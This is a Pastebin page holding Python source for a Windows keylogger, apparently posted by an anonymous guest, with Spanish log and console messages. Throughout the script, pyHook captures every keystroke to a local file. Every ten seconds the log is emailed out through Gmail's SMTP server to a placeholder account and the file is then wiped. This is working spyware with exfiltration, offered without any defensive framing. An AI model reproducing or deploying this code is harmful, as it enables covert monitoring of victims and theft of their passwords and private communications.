Advertisement
Guest User

Untitled

a guest
Aug 16th, 2017
505
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.79 KB | None | 0 0
  1. import pyHook, pythoncom, sys, logging
  2. import time, datetime, os
  3.  
  4. wait_seconds = 10
  5. timeout = time.time() + wait_seconds
  6. file_log = ('C:\Registro\dat.txt')
  7.  
  8. def TimeOut():
  9. if time.time() > timeout:
  10. return True
  11. else:
  12. return False
  13.  
  14. def SendEmail(user, pwd, recipient, subject, body):
  15. import smtplib
  16. gmail_user= user
  17. gmail_pass = pwd
  18. FROM = user
  19. TO = recipient if type(recipient) is list else [recipient]
  20. SUBJECT = subject
  21. TEXT = body
  22.  
  23. message = ("""From: %snTo: %snSubject: %snn%s""") % (FROM, ",".join(TO), SUBJECT, TEXT)
  24. try:
  25. server = smtplib.SMTP("smtp.gmail.com", 587)
  26. server.ehlo()
  27. server.starttls()
  28. server.login(gmail_user, gmail_pass)
  29. server.sendmail(FROM, TO, message)
  30. server.close()
  31. print ('Correo enviado satisfactoriamente!')
  32. except:
  33. print ('Error al mandar correo!')
  34.  
  35. def FormatAndSendLogEmail():
  36. with open(file_log, 'r+') as f:
  37. actualdate = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
  38. data = f.read().replace('n', '')
  39. data = 'Log capturado a las: '+ actualdate + 'n' + data
  40. print(actualdate,data)
  41. SendEmail('xxx@gmail.com', 'Password', 'xxx@gmail.com', 'Nuevo log - '+actualdate, data)
  42. f.seek(0)
  43. f.truncate()
  44.  
  45. def OnKeyboardEvent(event):
  46. logging.basicConfig(filename=file_log, level=logging.DEBUG,format = '%(message)s')
  47. logging.log(10, chr(event.Ascii))
  48. return True
  49.  
  50. hooks_manager = pyHook.HookManager()
  51. hooks_manager.KeyDown = OnKeyboardEvent
  52. hooks_manager.HookKeyboard()
  53.  
  54. while True:
  55. if TimeOut():
  56. FormatAndSendLogEmail()
  57. timeout = time.time() + wait_seconds
  58.  
  59. pythoncom.PumpWaitingMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement